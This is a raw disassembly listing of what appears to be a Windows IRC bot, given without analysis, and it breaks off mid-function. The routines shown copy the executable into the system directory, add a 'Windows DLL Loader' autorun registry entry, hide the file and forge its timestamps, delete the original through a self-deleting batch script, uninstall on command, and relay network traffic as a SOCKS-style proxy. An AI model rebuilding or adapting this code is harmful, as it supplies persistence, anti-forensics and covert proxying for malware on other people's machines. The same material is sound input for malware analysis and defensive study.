arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_404CFB
cmp byte ptr [edi+4], 5Ch
jnz loc_404CFB
push 4
pop esi
push esi
push offset aHkcr ; "HKCR"
push edi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_404B0F
mov [ebp+arg_4], 80000000h
jmp short loc_404B65
; ---------------------------------------------------------------------------
loc_404B0F: ; CODE XREF: sub_404ACF+35j
push esi
push offset aHkcu ; "HKCU"
push edi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_404B2B
mov [ebp+arg_4], 80000001h
jmp short loc_404B65
; ---------------------------------------------------------------------------
loc_404B2B: ; CODE XREF: sub_404ACF+51j
push esi
push offset aHklm ; "HKLM"
push edi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_404B47
mov [ebp+arg_4], 80000002h
jmp short loc_404B65
; ---------------------------------------------------------------------------
loc_404B47: ; CODE XREF: sub_404ACF+6Dj
push esi
push offset aHkus ; "HKUS"
push edi
call sub_411930 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_404CFB
mov [ebp+arg_4], 80000003h
loc_404B65: ; CODE XREF: sub_404ACF+3Ej
; sub_404ACF+5Aj ...
add edi, 5
push edi
call sub_4114BE ; strlen
mov esi, eax
pop ecx
test esi, esi
jz loc_404CFB
loc_404B79: ; CODE XREF: sub_404ACF+B1j
cmp byte ptr [esi+edi], 5Ch
jz short loc_404B87
dec esi
jnz short loc_404B79
jmp loc_404CFB
; ---------------------------------------------------------------------------
loc_404B87: ; CODE XREF: sub_404ACF+AEj
lea eax, [esi+edi+1]
push eax
call sub_4114BE ; strlen
mov ebx, 200h
pop ecx
cmp eax, ebx
jnb loc_404CFB
lea eax, [esi+edi+1]
push eax
lea eax, [ebp+var_414]
push eax
call sub_4114B8 ; _mbscpy
pop ecx
cmp esi, ebx
pop ecx
jnb loc_404CFB
push esi
lea eax, [ebp+var_214]
push edi
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_14]
and [ebp+esi+var_214], 0
push eax
push 1
lea eax, [ebp+var_214]
push 0
push eax
push [ebp+arg_4]
call dword_412000
test eax, eax
jnz loc_404CFB
mov eax, 1000h
push eax
mov [ebp+var_C], eax
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
lea eax, [ebp+var_C]
mov [ebp+var_10], esi
push eax
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_414]
push 0
push eax
push [ebp+var_14]
call dword_41200C
test eax, eax
jnz loc_404CEB
cmp [ebp+var_8], 1
mov ebx, offset dword_413B6C
jz short loc_404C3B
cmp [ebp+var_8], 2
jnz short loc_404C48
loc_404C3B: ; CODE XREF: sub_404ACF+164j
push esi
push ebx
push [ebp+arg_0]
call sub_4096CB
add esp, 0Ch
loc_404C48: ; CODE XREF: sub_404ACF+16Aj
cmp [ebp+var_8], 4
jnz short loc_404C60
push dword ptr [esi]
push offset dword_413B64
push [ebp+arg_0]
call sub_4096CB
add esp, 0Ch
loc_404C60: ; CODE XREF: sub_404ACF+17Dj
cmp [ebp+var_8], 3
jnz loc_404CEB
mov edi, 180h
push edi
call sub_4114C4 ; malloc
and [ebp+var_4], 0
mov esi, eax
pop ecx
and byte ptr [esi], 0
cmp [ebp+var_C], 0
jbe short loc_404CD5
loc_404C85: ; CODE XREF: sub_404ACF+204j
mov eax, [ebp+var_10]
mov ecx, [ebp+var_4]
movzx eax, byte ptr [ecx+eax]
push eax
lea eax, [ebp+arg_4]
push offset dword_413B5C
push eax
call sub_4114DC ; sprintf
push esi
call sub_4114BE ; strlen
add eax, 3
add esp, 10h
cmp eax, edi
jb short loc_404CBE
push esi
push ebx
push [ebp+arg_0]
call sub_4096CB
add esp, 0Ch
and byte ptr [esi], 0
loc_404CBE: ; CODE XREF: sub_404ACF+1DDj
lea eax, [ebp+arg_4]
push eax
push esi
call sub_4114EE ; _mbscat
inc [ebp+var_4]
pop ecx
mov eax, [ebp+var_4]
pop ecx
cmp eax, [ebp+var_C]
jb short loc_404C85
loc_404CD5: ; CODE XREF: sub_404ACF+1B4j
push esi
push ebx
push [ebp+arg_0]
call sub_4096CB
push esi
call sub_4114CA ; free
mov esi, [ebp+var_10]
add esp, 10h
loc_404CEB: ; CODE XREF: sub_404ACF+155j
; sub_404ACF+195j
push esi
call sub_4114CA ; free
pop ecx
push [ebp+var_14]
call dword_412028
loc_404CFB: ; CODE XREF: sub_404ACF+11j
; sub_404ACF+1Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_404ACF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D00 proc near ; CODE XREF: sub_409277:loc_4093C8p
; sub_409918:loc_409BBEp
var_208 = byte ptr -208h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 208h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_104]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_208]
push offset dword_418FDC
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_208]
push eax
call sub_40B5E1
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_104]
push eax
call sub_4114EE ; _mbscat
add esp, 1Ch
lea eax, [ebp+var_104]
push eax
call dword_4120B8 ; DeleteFileA
lea eax, [ebp+var_104]
push offset dword_4132AC
push eax
call sub_411506 ; fopen
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_404DAA
push esi
push 1
push 2
push offset dword_413DE8
call sub_4114FA ; fwrite
push esi
call sub_411500 ; fclose
lea eax, [ebp+var_104]
push eax
call sub_404E31
add esp, 18h
loc_404DAA: ; CODE XREF: sub_404D00+84j
pop esi
leave
retn
sub_404D00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404DAD proc near ; CODE XREF: sub_409277+117p
; sub_409918+26Cp
var_208 = byte ptr -208h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 208h
lea eax, [ebp+var_104]
push 104h
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_104]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_208]
push offset dword_418FDC
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_208]
push eax
call sub_40B5E1
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_104]
push eax
call sub_4114EE ; _mbscat
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_411506 ; fopen
add esp, 24h
test eax, eax
jz short loc_404E2D
push eax
call sub_411500 ; fclose
pop ecx
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_404E2D: ; CODE XREF: sub_404DAD+72j
xor eax, eax
leave
retn
sub_404DAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E31 proc near ; CODE XREF: sub_404D00+A2p
; sub_4050D1+1B5p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
lea eax, [ebp+var_11C]
push 104h
push eax
call dword_412044 ; GetWindowsDirectoryA
lea eax, [ebp+var_11C]
push offset dword_413DF0
push eax
call sub_4114EE ; _mbscat
pop ecx
mov esi, dword_412048
pop ecx
mov edi, 80h
push 0
push edi
push 3
push 0
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_404ED7
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_41204C ; GetFileTime
push ebx
mov ebx, dword_4120AC
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_404ED7
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_412050 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_404ED7: ; CODE XREF: sub_404E31+58j
; sub_404E31+8Ej
pop edi
pop esi
pop ebx
leave
retn
sub_404E31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404EDC proc near ; CODE XREF: sub_4050D1+139p
; sub_4050D1+16Fp ...
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 108h
push esi
xor esi, esi
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call dword_412014
cmp [ebp+arg_0], esi
jz short loc_404F67
lea eax, [ebp+var_108]
push 104h
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_108]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
push [ebp+arg_8]
lea eax, [ebp+var_108]
push eax
call sub_4114EE ; _mbscat
add esp, 10h
lea eax, [ebp+var_108]
push eax
call dword_412040 ; lstrlen
inc eax
push eax
lea eax, [ebp+var_108]
push eax
push 1
push esi
push [ebp+arg_4]
push [ebp+var_4]
call dword_412010
jmp short loc_404F73
; ---------------------------------------------------------------------------
loc_404F67: ; CODE XREF: sub_404EDC+2Dj
push [ebp+arg_4]
push [ebp+var_4]
call dword_412004
loc_404F73: ; CODE XREF: sub_404EDC+89j
push [ebp+var_4]
call dword_412028
pop esi
leave
retn
sub_404EDC endp
; =============== S U B R O U T I N E =======================================
sub_404F7F proc near ; CODE XREF: sub_404FA8+2Bp
; sub_4050D1+1C1p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
push esi
mov edi, esi
call sub_4114BE ; strlen
pop ecx
xor ecx, ecx
test eax, eax
jbe short loc_404FA3
loc_404F94: ; CODE XREF: sub_404F7F+22j
cmp byte ptr [ecx+esi], 5Ch
jnz short loc_404F9E
lea edi, [ecx+esi+1]
loc_404F9E: ; CODE XREF: sub_404F7F+19j
inc ecx
cmp ecx, eax
jb short loc_404F94
loc_404FA3: ; CODE XREF: sub_404F7F+13j
mov eax, edi
pop edi
pop esi
retn
sub_404F7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FA8 proc near ; CODE XREF: sub_4050D1+Cp
; sub_4052DF+Cp
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 104h
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push eax
call sub_404F7F
and byte ptr [eax], 0
pop ecx
lea eax, [ebp+var_104]
push eax
call dword_41203C ; SetCurrentDirectoryA
leave
retn
sub_404FA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FEB proc near ; CODE XREF: sub_4050D1+1C7p
; sub_4052DF+C2p ...
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
push 8
push 4
call sub_40B459
push 7Ah
push 61h
mov edi, eax
call sub_40B459
add esp, 10h
mov [ebp+var_14], al
push 1
pop esi
cmp edi, esi
jz short loc_405029
loc_405015: ; CODE XREF: sub_404FEB+3Cj
push 7Ah
push 61h
call sub_40B459
mov [ebp+esi+var_14], al
inc esi
pop ecx
cmp esi, edi
pop ecx
jnz short loc_405015
loc_405029: ; CODE XREF: sub_404FEB+28j
lea eax, [ebp+esi+var_14]
push offset a_bat ; ".bat"
push eax
call sub_4114B8 ; _mbscpy
mov edi, [ebp+arg_0]
push edi
call sub_4114BE ; strlen
push 400h
call sub_4114C4 ; malloc
add esp, 10h
mov ebx, eax
lea eax, [ebp+var_14]
push eax
call dword_4120B8 ; DeleteFileA
xor esi, esi
lea eax, [ebp+var_14]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_412048 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40507D
xor eax, eax
jmp short loc_4050CC
; ---------------------------------------------------------------------------
loc_40507D: ; CODE XREF: sub_404FEB+8Cj
lea eax, [ebp+var_14]
push eax
push edi
push edi
push edi
push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"...
push ebx
call dword_4121EC
add esp, 18h
lea eax, [ebp+var_4]
mov [ebp+var_4], esi
push esi
push eax
push ebx
call sub_4114BE ; strlen
pop ecx
push eax
push ebx
push [ebp+arg_0]
call dword_412070 ; WriteFile
push [ebp+arg_0]
call dword_4120AC ; CloseHandle
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4121E4
push 1
pop eax
loc_4050CC: ; CODE XREF: sub_404FEB+90j
pop edi
pop esi
pop ebx
leave
retn
sub_404FEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4050D1 proc near ; CODE XREF: sub_4111E8:loc_41137Dp
var_36C = byte ptr -36Ch
var_268 = byte ptr -268h
var_164 = byte ptr -164h
var_60 = dword ptr -60h
var_30 = word ptr -30h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 36Ch
push ebx
push esi
push edi
call sub_404FA8
mov esi, 104h
lea eax, [ebp+var_36C]
push esi
xor ebx, ebx
push eax
push ebx
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
cmp off_413B90, ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
jz short loc_405181
mov edi, offset off_413B90
mov [ebp+var_C], edi
loc_405115: ; CODE XREF: sub_4050D1+AEj
inc [ebp+var_4]
lea eax, [ebp+var_268]
push esi
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_268]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
push dword ptr [edi]
call sub_40B5E1
push dword ptr [edi]
lea eax, [ebp+var_268]
push eax
call sub_4114EE ; _mbscat
push dword ptr [edi]
call sub_40B5A8
lea eax, [ebp+var_36C]
push eax
lea eax, [ebp+var_268]
push eax
call sub_411924 ; _strcmpi
add esp, 20h
test eax, eax
jz loc_405214
mov edi, [ebp+var_C]
inc [ebp+var_8]
add edi, 8
mov [ebp+var_C], edi
cmp [edi], ebx
jnz short loc_405115
loc_405181: ; CODE XREF: sub_4050D1+3Aj
push [ebp+var_4]
push ebx
call sub_40B459
pop ecx
mov edi, eax
pop ecx
lea eax, [ebp+var_164]
push esi
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_164]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
push off_413B90[edi*8]
lea esi, ds:413B90h[edi*8]
call sub_40B5E1
push dword ptr [esi]
lea eax, [ebp+var_164]
push eax
call sub_4114EE ; _mbscat
push dword ptr [esi]
call sub_40B5A8
add esp, 18h
lea eax, [ebp+var_164]
push eax
call dword_4120B8 ; DeleteFileA
lea eax, [ebp+var_164]
push ebx
push eax
lea eax, [ebp+var_36C]
push eax
call dword_412068 ; CopyFileA
test eax, eax
jnz short loc_405263
push offset dword_419ECC
push offset aWindowsDllLoad ; "Windows DLL Loader"
push 1
call sub_404EDC
add esp, 0Ch
jmp short loc_40525E
; ---------------------------------------------------------------------------
loc_405214: ; CODE XREF: sub_4050D1+9Aj
mov eax, [ebp+var_8]
mov esi, eax
shl esi, 3
push off_413B90[esi]
call sub_40B5E1
push off_413B94[esi]
call sub_40B5E1
push off_413B90[esi]
push off_413B94[esi]
push 1
call sub_404EDC
push off_413B90[esi]
call sub_40B5A8
push off_413B94[esi]
call sub_40B5A8
add esp, 1Ch
loc_40525E: ; CODE XREF: sub_4050D1+141j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_405263: ; CODE XREF: sub_4050D1+12Bj
mov esi, dword_4120B0
lea eax, [ebp+var_164]
push 4
push eax
call esi ; SetFileAttributesA
lea eax, [ebp+var_164]
push 2
push eax
call esi ; SetFileAttributesA
lea eax, [ebp+var_164]
push eax
call sub_404E31
lea eax, [ebp+var_36C]
push eax
call sub_404F7F
push eax
call sub_404FEB
push 44h
lea eax, [ebp+var_60]
pop esi
push esi
push ebx
push eax
call sub_4114E8 ; memset
add esp, 18h
lea eax, [ebp+var_1C]
mov [ebp+var_60], esi
mov [ebp+var_30], bx
push eax
lea eax, [ebp+var_60]
push eax
push ebx
push ebx
push 28h
push 1
push ebx
lea eax, [ebp+var_164]
push ebx
push eax
push ebx
call dword_412084 ; CreateProcessA
call dword_412264 ; WSACleanup
push ebx
call sub_41157C ; exit
sub_4050D1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4052DF proc near ; CODE XREF: sub_402230+51Dp
; sub_407A76+C5Fp ...
var_20C = byte ptr -20Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
call sub_404FA8
mov ebx, 104h
lea eax, [ebp+var_20C]
push ebx
xor edi, edi
push eax
push edi
call dword_412094 ; GetModuleHandleA
push eax
call dword_412098 ; GetModuleFileNameA
cmp off_413B90, edi
mov [ebp+var_4], edi
jz short loc_405383
mov esi, offset off_413B90
mov edi, esi
loc_40531F: ; CODE XREF: sub_4052DF+A0j
lea eax, [ebp+var_108]
push ebx
push eax
call dword_412054 ; GetSystemDirectoryA
lea eax, [ebp+var_108]
push offset dword_413DEC
push eax
call sub_4114EE ; _mbscat
push dword ptr [esi]
call sub_40B5E1
push dword ptr [esi]
lea eax, [ebp+var_108]
push eax
call sub_4114EE ; _mbscat
push dword ptr [esi]
call sub_40B5A8
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_108]
push eax
call sub_411924 ; _strcmpi
add esp, 20h
test eax, eax
jz short loc_4053CB
inc [ebp+var_4]
add edi, 8
mov esi, edi
cmp dword ptr [edi], 0
jnz short loc_40531F
xor edi, edi
loc_405383: ; CODE XREF: sub_4052DF+37j
mov esi, offset dword_419ECC
push esi
push offset aWindowsDllLoad ; "Windows DLL Loader"
push edi
call sub_404EDC
lea eax, [ebp+var_20C]
push eax
call sub_404F7F
push eax
call sub_404FEB
add esp, 14h
test eax, eax
jz loc_40544A
push esi
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_4097DB
pop ecx
pop ecx
call dword_412264 ; WSACleanup
push edi
call dword_412064 ; ExitProcess
loc_4053CB: ; CODE XREF: sub_4052DF+93j
mov eax, [ebp+var_4]
mov esi, eax
shl esi, 3
push off_413B90[esi]
call sub_40B5E1
push off_413B94[esi]
call sub_40B5E1
push off_413B90[esi]
push off_413B94[esi]
push 0
call sub_404EDC
push off_413B90[esi]
call sub_40B5A8
push off_413B94[esi]
call sub_40B5A8
lea eax, [ebp+var_20C]
push eax
call sub_404F7F
push eax
call sub_404FEB
add esp, 24h
test eax, eax
jz short loc_40544A
push offset dword_419ECC
push offset aQuitSUninstall ; "QUIT :%s uninstalled."
call sub_4097DB
pop ecx
pop ecx
call dword_412264 ; WSACleanup
push 0
call dword_412064 ; ExitProcess
loc_40544A: ; CODE XREF: sub_4052DF+CCj
; sub_4052DF+14Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4052DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40544F proc near ; DATA XREF: sub_4056AC+F4o
var_16D4 = byte ptr -16D4h
var_6D4 = byte ptr -6D4h
var_5D4 = dword ptr -5D4h
var_5CA = byte ptr -5CAh
var_5BA = byte ptr -5BAh
var_427 = byte ptr -427h
var_414 = byte ptr -414h
var_413 = byte ptr -413h
var_412 = dword ptr -412h
var_40C = byte ptr -40Ch
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 16D4h
call sub_411540
push ebx
push esi
push edi
push 1BDh
push [ebp+arg_0]
lea eax, [ebp+var_5D4]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
mov eax, [ebp+var_5D4]
mov edi, dword_412258
add esp, 10h
xor ebx, ebx
lea ecx, [ebp+var_414]
mov [ebp+arg_0], eax
push ebx
push 408h
push ecx
push eax
call edi ; recv
cmp eax, ebx
jz loc_4056A3
cmp eax, 0FFFFFFFFh
jz loc_4056A3
cmp [ebp+var_414], 4
jnz short loc_4054C7
cmp [ebp+var_413], 1
jnz short loc_4054C7
push 1
pop esi
jmp short loc_4054C9
; ---------------------------------------------------------------------------
loc_4054C7: ; CODE XREF: sub_40544F+68j
; sub_40544F+71j
xor esi, esi
loc_4054C9: ; CODE XREF: sub_40544F+76j
cmp [ebp+var_5CA], bl
jz short loc_4054EF
lea eax, [ebp+var_5CA]
push 10h
push eax
lea eax, [ebp+var_40C]
push eax
call sub_411570 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_4054EF
xor esi, esi
loc_4054EF: ; CODE XREF: sub_40544F+80j
; sub_40544F+9Cj
cmp [ebp+var_427], bl
jz short loc_40553A
lea eax, [ebp+var_6D4]
push eax
push [ebp+arg_0]
call sub_4034DE
pop ecx
cmp esi, ebx
pop ecx
mov eax, offset byte_4191D0
jnz short loc_405516
mov eax, offset dword_413EF4
loc_405516: ; CODE XREF: sub_40544F+C0j
push eax
movzx eax, [ebp+var_414]
push eax
lea eax, [ebp+var_6D4]
push eax
lea eax, [ebp+var_5BA]
push offset dword_413EC0
push eax
call sub_4096CB
add esp, 14h
loc_40553A: ; CODE XREF: sub_40544F+A6j
cmp esi, ebx
jnz short loc_405575
push 8
lea eax, [ebp+var_414]
push ebx
push eax
call sub_4114E8 ; memset
lea eax, [ebp+var_414]
push 8
push eax
mov [ebp+var_413], 5Bh
push [ebp+arg_0]
call sub_403D9D
push [ebp+arg_0]
call sub_403D70
add esp, 1Ch
jmp loc_4056A3
; ---------------------------------------------------------------------------
loc_405575: ; CODE XREF: sub_40544F+EDj
lea eax, [ebp+var_C]
push 0Ah
push eax
push [ebp+var_412]
call dword_412248 ; htons
movzx eax, ax
push eax
call sub_41192A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_C]
push 2710h
push ebx
push eax
push [ebp+var_412+2]
call dword_412230 ; inet_ntoa
push eax
call sub_403C04
mov [ebp+var_4], eax
push 8
lea eax, [ebp+var_414]
push ebx
push eax
call sub_4114E8 ; memset
add esp, 1Ch
cmp [ebp+var_4], ebx
jnz short loc_4055F1
lea eax, [ebp+var_414]
push 8
push eax
mov [ebp+var_413], 5Bh
push [ebp+arg_0]
call sub_403D9D
push [ebp+arg_0]
call sub_403D70
add esp, 10h
jmp loc_4056A3
; ---------------------------------------------------------------------------
loc_4055F1: ; CODE XREF: sub_40544F+178j
lea eax, [ebp+var_414]
push 8
push eax
mov [ebp+var_413], 5Ah
push [ebp+arg_0]
call sub_403D9D
add esp, 0Ch
mov esi, 1000h
loc_405611: ; CODE XREF: sub_40544F+240j
push [ebp+arg_0]
call sub_40346D
test eax, eax
pop ecx
jz short loc_40564C
push ebx
lea eax, [ebp+var_16D4]
push esi
push eax
push [ebp+arg_0]
call edi ; recv
cmp eax, ebx
jz short loc_405691
cmp eax, 0FFFFFFFFh
jz short loc_405691
push eax
lea eax, [ebp+var_16D4]
push eax
push [ebp+var_4]
call sub_403D9D
add esp, 0Ch
test eax, eax
jz short loc_405691
loc_40564C: ; CODE XREF: sub_40544F+1CDj
push [ebp+var_4]
call sub_40346D
test eax, eax
pop ecx
jz short loc_405687
push ebx
lea eax, [ebp+var_16D4]
push esi
push eax
push [ebp+var_4]
call edi ; recv
cmp eax, ebx
jz short loc_405691
cmp eax, 0FFFFFFFFh
jz short loc_405691
push eax
lea eax, [ebp+var_16D4]
push eax
push [ebp+arg_0]
call sub_403D9D
add esp, 0Ch
test eax, eax
jz short loc_405691
loc_405687: ; CODE XREF: sub_40544F+208j
push 32h
call dword_4120A4 ; Sleep
jmp short loc_405611
; ---------------------------------------------------------------------------
loc_405691: ; CODE XREF: sub_40544F+1DFj
; sub_40544F+1E4j ...
push [ebp+arg_0]
call sub_403D70
push [ebp+var_4]
call sub_403D70
pop ecx
pop ecx
loc_4056A3: ; CODE XREF: sub_40544F+52j
; sub_40544F+5Bj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_40544F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4056AC proc near ; DATA XREF: sub_4057ED+8Fo
var_1C0 = dword ptr -1C0h
var_1BC = byte ptr -1BCh
var_1B6 = byte ptr -1B6h
var_1A6 = byte ptr -1A6h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1C0h
push 1BDh
lea eax, [ebp+var_1C0]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_1BC]
push 1
push eax
call sub_403644
add esp, 18h
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_4056FC
push [ebp+var_1C0]
call sub_406E6F
pop ecx
xor eax, eax
jmp locret_4057E9
; ---------------------------------------------------------------------------
loc_4056FC: ; CODE XREF: sub_4056AC+3Bj
push ebx
push esi
lea eax, [ebp+var_1BC]
push edi
push eax
mov eax, [ebp+var_1C0]
push dword ptr [eax]
lea eax, [ebp+var_1A6]
push offset dword_413F00
push eax
call sub_4096CB
mov edi, 3E8h
push edi
push [ebp+arg_0]
call sub_403767
add esp, 18h
loc_405730: ; CODE XREF: sub_4056AC+11Ej
mov ebx, eax
mov eax, [ebp+var_1C0]
cmp dword ptr [eax+4], 0
jnz loc_4057CF
test ebx, ebx
jz loc_4057CF
cmp ebx, 0FFFFFFFFh
jz short loc_4057BF
push 1BDh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jnz short loc_405768
push ebx
call sub_403D92
jmp short loc_4057BE
; ---------------------------------------------------------------------------
loc_405768: ; CODE XREF: sub_4056AC+B2j
lea eax, [ebp+var_1BC]
mov [esi], ebx
push eax
lea eax, [esi+4]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_1B6]
push eax
lea eax, [esi+0Ah]
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_1A6]
push 1A3h
push eax
lea eax, [esi+1Ah]
push eax
call sub_4114D0 ; memcpy
push esi
push offset sub_40544F
call sub_406C5D
add esp, 24h
test eax, eax
jnz short loc_4057BF
push esi
call sub_4114CA ; free
push ebx
call sub_403D92
pop ecx
loc_4057BE: ; CODE XREF: sub_4056AC+BAj
pop ecx
loc_4057BF: ; CODE XREF: sub_4056AC+A1j
; sub_4056AC+103j
push edi
push [ebp+arg_0]
call sub_403767
pop ecx
pop ecx
jmp loc_405730
; ---------------------------------------------------------------------------
loc_4057CF: ; CODE XREF: sub_4056AC+90j
; sub_4056AC+98j
push [ebp+arg_0]
call sub_40392A
push [ebp+var_1C0]
call sub_406E6F
pop ecx
xor eax, eax
pop ecx
pop edi
pop esi
pop ebx
locret_4057E9: ; CODE XREF: sub_4056AC+4Bj
leave
retn 4
sub_4056AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4057ED proc near ; CODE XREF: sub_407A76+10Ap
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_4]
test ebx, ebx
push esi
jnz short loc_40581E
lea eax, [ebp+var_8]
push 0Ah
push eax
push 0FFFFh
push 401h
call sub_40B459
pop ecx
pop ecx
push eax
call sub_41192A ; _itoa
add esp, 0Ch
lea ebx, [ebp+var_8]
loc_40581E: ; CODE XREF: sub_4057ED+Cj
push 1BDh
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40588A
lea eax, [esi+4]
push ebx
push eax
call sub_4114B8 ; _mbscpy
mov eax, [ebp+arg_8]
pop ecx
test eax, eax
pop ecx
jnz short loc_405847
mov eax, offset byte_4191D0
loc_405847: ; CODE XREF: sub_4057ED+53j
push edi
push 10h
push eax
lea eax, [esi+0Ah]
push eax
call sub_4059C2
mov edi, [ebp+arg_0]
push 1A3h
lea eax, [esi+1Ah]
push edi
push eax
call sub_4114D0 ; memcpy
xor eax, eax
add esp, 18h
cmp [edi+18Bh], al
push ebx
push offset dword_413F34
setz al
push eax
push esi
push offset sub_4056AC
call sub_406D58
add esp, 14h
pop edi
loc_40588A: ; CODE XREF: sub_4057ED+40j
pop esi
pop ebx
leave
retn
sub_4057ED endp
; =============== S U B R O U T I N E =======================================
sub_40588E proc near ; CODE XREF: sub_40C135+20Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
test esi, esi
mov edx, esi
jl short loc_4058B4
mov eax, [esp+4+arg_0]
lea ecx, [eax+esi*2]
loc_4058A0: ; CODE XREF: sub_40588E+24j
mov eax, [esp+4+arg_4]
mov al, [edx+eax]
mov [ecx], al
and byte ptr [ecx+1], 0
dec edx
dec ecx
dec ecx
test edx, edx
jge short loc_4058A0
loc_4058B4: ; CODE XREF: sub_40588E+9j
